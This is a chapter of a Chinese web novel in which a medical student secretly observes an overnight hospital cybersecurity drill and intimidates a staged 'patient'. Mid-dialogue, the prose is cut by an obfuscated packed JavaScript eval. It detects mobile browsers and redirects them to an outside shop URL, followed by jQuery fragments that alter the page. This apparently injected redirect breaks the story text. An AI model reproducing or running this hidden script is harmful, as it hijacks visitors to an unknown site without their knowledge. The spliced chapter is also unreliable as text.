13. 眼镜蛇的觉醒

作品:《学生闹翻天3

    脑子里还在回放刚才的场景:李凯蒂紧握文件夹的手指,张克帆整理衣领的手势,年轻男人无意识敲击的膝盖,还有那个母亲抱着孩子时近乎痉挛的力度。


    这些细节,以前他不会注意。


    但现在,每一个动作、每一个表情、每一个停顿,都在他眼里变成了可解读的密码。


    他想起钟妍妍的话:“每个人都在演戏。”


    那么钟妍妍自己呢?她在演什么?一个热心管教问题学生的妇科医生?一个训练新蛇的教官?还是别的什么?


    而他自己,又在演什么?一个冲动的医学生?一个正在被改造的顽石?还是一条在学习如何隐□□牙的蛇?


    雨越下越大。


    徐燕风抬起头,让几滴雨打在脸上。冰凉的感觉让他清醒。


    不管演什么,这场戏已经开始。


    而他,必须演好自己的角色。


    直到谢幕的那天——或者,直到他撕下面具的那天。


    周一凌晨零点,一场网络安全演练准时拉开了序幕。


    凌晨零点零七分,徐燕风被手机震动声从睡梦中惊醒。屏幕上跳出的不是闹钟,而是一条加密短信,发件人显示为“系统通知”,格式和钟妍妍之前给他的U盘里的模板分毫不差:【第一阶段启动。观察窗口:00:00-06:00。重点区域:急诊科、重症监护室,妇产科。报告提交时限:08:00前。】


    他坐起身,宿舍里一片漆黑,只有走廊应急灯的绿光顺着门缝钻进来。同宿舍的何念曦和薛耀溪还在熟睡,一个打着呼噜,一个小声梦呓。窗外远处,医院的轮廓在夜色里像一头蛰伏的巨兽,只有零星几个窗户亮着灯——分别是普外科、产房和急诊部。


    徐燕风打开床头的小台灯,调到最暗的亮度,从书包的暗袋里拿出那个加密U盘,插进了笔记本电脑。U盘自动加载出一个简洁的日志界面,上面已经预先填好了几个字段:日期是演练第一天,时段为00:00-06:00,观察者是徐燕风,区域一栏等着填写,事件类型分为系统异常、人员异常、流程异常,描述要求事实记录且不超过200字,分析则是可选内容,同样不超过100字。


    他合上电脑,轻手轻脚地下了床,穿上衣服。走到门口时,他停了一下,从抽屉里拿出一副平光眼镜戴上——不是因为近视,只是最简单的伪装,能稍微改变面部轮廓和反光。又从衣柜深处翻出一件深灰色的连帽卫衣,帽子很大,拉起来能遮住半张脸。


    零点二十一分,他悄悄溜出了宿舍楼。


    雨已经停了,但地面还是湿漉漉的,路灯在水洼里倒映出扭曲的光斑。这个时间点,周围空无一人,只有昆虫在草丛里鸣叫。


    徐燕风走得很慢,脚步放得很轻,眼睛却像雷达一样扫视着四周。钟妍妍教过他:观察不是只看自己想看的,而是要留意一切不寻常的事物。路灯的闪烁频率、监控摄像头的转动角度、远处车辆经过的声音间隔——这些都是有用的信息。


    主楼急诊科的入口亮着刺眼的白光。他绕到侧面,从员工通道的侧门进去。这个门平时需要刷卡,但演练期间所有门禁系统都处于“临时故障”状态,一推就开了。


    走廊里比想象中安静。


    不是没有人,而是所有人的动作都带着一种刻意的缓慢和谨慎。两个护士推着药车从他面前经过,车轮声很轻,她们低声交谈着,用的是徐燕风听不懂的方言。一个医生靠在护士站台边写记录,笔尖划过纸张的声音在寂静中被放大了不少。


    徐燕风找了个不起眼的角落,背靠墙壁,拿出手机假装看信息,眼睛的余光却在仔细扫描整个区域。


    零点三十五分,急诊抢救室的门突然打开,一个穿着刷手服的医生冲出来,手里拿着一个平板电脑,脚步很快但没有跑。他冲到护士站,对值班护士说了句什么,护士立刻抓起了电话。


    徐燕风眯起了眼睛。那个医生的刷手服胸前没有绣名字——这不符合规定。而且他的平板电脑背面贴着一个醒目的黄色标签,上面写着一个数字“7”。


    这是演练的标记。


    果然,一分钟后,广播响了起来:“代码灰色,区域三。重复,代码灰色,区域三。”


    代码灰色?徐燕风快速回忆医院的各种紧急代码:蓝色是心脏骤停,红色是火灾,黑色是炸弹威胁……灰色是什么?


    护士站的反应给出了答案:所有护士立刻停止手头的工作,开始快速整理台面,把散落的纸张收进抽屉,将几台电脑的屏幕转向内侧。那个打电话的护士挂断后,从柜台下拿出一个黑色文件夹,开始在上面记录。


    这是信息封锁流程。


    灰色代码代表系统安全事件,疑似数据泄露或未授权访问。标准的应对措施是:暂停所有非必要电子记录,转为纸质记录,隔离可疑终端,记录所有异常访问。


    徐燕风在手机备忘录里快速输入:【00:35,急诊科,代码灰色广播。护士站启动纸质记录流程。一名未绣名医生携带标记平板离开抢救室。疑似演练注入事件。】


    他继续观察着。


    零点四十二分,两个穿着IT部门制服的人匆匆走进急诊科,手里拎着工具箱。他们没有去护士站,而是直奔医生工作站——那里有三台电脑,其中一台的屏幕是黑的。


    两人开始检修。……但徐燕风注意到一个细节:其中那个高个子的人,在弯腰检查主机时,左手一直按在腰间。那个位置……像是枪套。


    医院的IT人员会配枪?


    要么是伪装,要么是演练安排了专人扮演IT人员。


    徐燕风悄悄举起手机,假装自拍,实则用前置摄像头拍下了那两人的背影和侧脸。画面虽然模糊,但也足够了。


    凌晨一点十五分,急诊科暂时恢复了平静。广播没有更新内容,护士继续用纸质记录,患者依然在等待——演练期间,也安排了模拟患者。


    徐燕风离开急诊科,按照计划上电梯前往六楼的重症监护室。但电梯全都停运了——这也是演练的安排。他改走楼梯,脚步声在空旷的楼梯间里回响,像是有另一个人在跟着他。


    走到四楼半时,他停住了。


    下方传来两个人的对话声,压得很低,但在楼梯井的放大作用下依然清晰:


    “……确认了,是儿科先触发的警报。”


    “关文晶值夜吧?”


    “对。她今天值夜,但系统记录显示她在00:03试图访问加密病历区,权限不足但触发了三级警报。演练指挥部判定为‘内部人员违规尝试’。”


    “她怎么说?”


    “她说是在查一个转院患儿的资料,不知道那个区域加密了。但监控显示,她在警报触发前两分钟,用个人U盘插入了工作站。”


    “复制数据?”


    “不清楚,U盘已经封存送检了。指挥部正在评估是否升级为‘内部威胁事件’。”


    脚步声渐渐往下,远去了。


    徐燕风靠在墙上,心跳加快。


    关文晶?违规访问加密区域?还被抓了现行?


    这不像一个女特工会犯的错误。以她的谨慎和专业,不可能在演练期间做这种明显违规的事——除非,她是故意的。


    他想起上周钟妍妍说的话:“当系统瘫痪、秩序被打乱时,人们的表演会露出破绽。”


    关文晶在演什么?一个粗心大意的医生?还是……一个在测试系统反应的测试者?


    徐燕风继续往上走,脑子里快速分析着。如果关文晶是故意的,她的目的可能包括:测试加密区域的警报灵敏度、测试IT部门的响应速度、测试指挥部的判断标准。甚至可能,她在用自己作为诱饵,看看谁会跳出来指控她。


    上到六楼,门是关着的,但透过玻璃窗能看到里面。徐燕风没有进去,而是站在窗外观察。


    ICU里的灯光调暗了,只有患者床头的监护仪发着幽幽的光。几个护士在轻声走动,医生工作站空着——电脑全都黑屏了,纸质病历摊开在桌面上。


    看起来很平静。


    但徐燕风注意到最里面的那张病床旁,心电监护仪的波形不对劲。正常窦性心律应该是规律的P-QRS-T波群,但那个屏幕上的波形是模拟的。频率太完美,变异度为零。


    这是演练安排的模拟患者。


    他刚想记录,眼角余光瞥见一个身影从重症监护室另一侧的门离开。穿着白大褂,是女性,身材高挑,步态利落——是钟妍妍。


    这个时间,妇科医生怎么会在重症监护室?


    徐燕风没有跟上去,而是站在原地,继续观察钟妍妍离开后重症监护室里的变化。


    果然,三十秒后,一个护士走到刚才钟妍妍停留过的那个模拟患者床边,从枕头下取出一个小巧的黑色设备,迅速塞进口袋。动作很快,但徐燕风看清了:那是一个便携式信号发射器,或者是信号干扰器。


    钟妍妍在ICU放置了设备。


    为什么?


    徐燕风脑子飞快地运转着。ICU有全套的生命支持系统,呼吸机、透析机、输液泵……全都联网。如果某个设备被植入干扰器,可能会引发连锁故障。而演练期间,任何故障都会被优先调查。


    她在测试医疗设备的网络安全漏洞。


    或者说,她在帮演练指挥部测试。


    徐燕风在手机里记录:【01:22,重症监护室,钟妍妍出现并疑似放置信号设备。护士随后回收。推测为演练安排的漏洞测试任务。】


    他看了眼时间,凌晨一点半。该去最后一个区域:妇产科。


    妇产科在九楼。徐燕风再次走楼梯上去,这次他更加警惕,每一步都控制着声音,在拐角处先停顿一下,用手机摄像头观察下方。


    楼梯间里空无一人。


    但走到八楼骨科时,他听见了争吵声。


    护士站前,一个穿着病号服的中年男人正在拍打柜台:“我就要这个药!现在!医生开的处方,你们凭什么不给!”


    值班的是个年轻的金发护士,她一脸为难地说:“先生,系统故障,我查不到您的处方记录。您有纸质处方吗?”


    “纸质?现在谁还用纸质!都在电脑里!”男人情绪激动,“我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937031|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    药不能停!你们医院搞什么演练,拿病人的命开玩笑吗?!”


    “请您冷静,我可以手动核实,但需要时间……”


    “我没时间!我现在就要药!”


    徐燕风站在阴影里观察着。这个“患者”的表演有点过了——声音太大,动作太夸张,而且病号服穿得整整齐齐,连褶皱都没有。真正的住院患者,病号服通常松垮随意,而且这个时间点,重症患者不会自己来取药,轻症患者要么睡着了,要么会让家属来。


    这是演练安排的“压力测试演员”。


    但金发护士的反应是真实的——她很年轻,经验不足,面对激动的家属时额头冒汗,手指在键盘上无意识地敲击着,眼神求助地瞟向身后的办公室。


    徐燕风决定介入。


    他拉下卫衣帽子,摘下眼镜,调整了一下表情,从阴影里走了出去。步伐加快,像是刚赶到现场。


    “怎么回事?”他声音刻意压低,带着点不耐烦的权威感——模仿着尹柏萧训人时的语调。


    金发护士和那个“患者”同时转头看他。


    徐燕风没有看金发护士,而是直视那个“患者”:“你是哪个病房的?主治医生是谁?现在几点知道吗?”


    一连三个问题,语气强硬。


    “患者”愣了一下,气势弱了半分:“我……我在32床,主治是刘医生……”


    “刘医生今晚不值夜班。”徐燕风打断他,“而且骨科患者需要敷的中药都是护士定时发放,不会让患者半夜自己来取药。”


    “患者”张了张嘴,没说出话来。


    徐燕风逼近一步,声音压得更低:“演练指挥部安排你来测试骨科应急流程,对吧?但演员培训没做好——病号服太新,没有住院腕带,说话中气太足不像高血压患者。现在要么你安静离开,要么我呼叫护工核查你的身份。选一个。”


    “患者”的脸色变了变,最终咕哝了一句什么,转身快步离开了。


    药房前安静了下来。年轻的金发护士呆呆地看着徐燕风:“你……你是?”


    “路过的。”徐燕风转身要走,又回头补充了一句,“下次遇到这种情况,直接按紧急呼叫按钮……演练期间也要保持警惕。”


    说完,他重新戴上眼镜,拉上帽子,消失在了楼梯间。


    走上从B1层到地面的楼梯时,徐燕风才感觉到自己的心跳——平稳,有力,没有加速。


    刚才那一连串的质问、逼近、施压,完全是本能反应。没有思考,没有犹豫,就像蛇在遇到威胁时本能地昂起头,露出毒牙。


    而那个“患者”的反应也证明了一点:当你表现得足够确信、足够强势时,大多数人会先怀疑自己。


    这是钟妍妍教过的:在对抗中,气场比事实更有用。


    回到宿舍时,已经是凌晨两点半。徐燕风轻手轻脚地进门,那两个室友还在睡。他坐在书桌前,打开电脑,开始整理观察记录。


    手指在键盘上快速敲击着,脑子里的画面和声音转化为文字。每一个细节,每一个时间点,每一个推测,都条理清晰。


    写到药房那段时,他停顿了一下。


    然后他删掉了自己介入的部分,只记录:“药房出现演练安排的‘激动患者’,金发护士应对失措。一分钟后患者自行离开。”


    有些事,不需要写进报告里。


    写完报告,加密后,通过U盘内置的通道发送了出去。发送时间显示为03:17,离截止时间还有四个多小时。


    他关掉电脑,躺回床上。


    黑暗中,他睁着眼睛看着天花板。


    脑子里回放着今晚的一切:急诊科的灰色代码、楼梯间听到的关于关文晶的对话、ICU里钟妍妍放置的设备、骨科那个蹩脚的演员……


    这些碎片在黑暗中旋转、拼接,渐渐形成一个模糊的图案。


    这场演练,不只是测试医院的网络安全。


    它在测试人。


    测试每个人的反应、选择、底线。


    而他自己,也在被测试着。


    徐燕风闭上眼,脑海里浮现出刚才在药房时,那个“患者”被他质问后退缩的眼神。那种眼神他见过——在网球场上,当他用轻浮的语气道歉时,关文晶眼里一闪而过的厌恶和轻视。


    但现在不同了。


    现在,他能让人退缩。


    不是靠愤怒,不是靠冲动,而是靠冷静的分析、精准的打击、和那种“我知道你在演戏”的压迫感。


    就像眼镜蛇。


    不主动攻击,但一旦昂起头,就能让对手寒毛倒竖。


    窗外,天色开始泛白。


    演练还在继续。


    而徐燕风知道,从今晚起,有些东西已经不一样了。


    他不再是那个只会用油漆报复的毛头小子。


    他是徐燕风。


    一个正在学习如何成为蛇的人。


    一个已经尝到毒牙滋味的人。


    他翻了个身,在晨光透进窗帘前,沉沉睡去。


    嘴角带着一丝自己都没有察觉的、冰冷的弧度。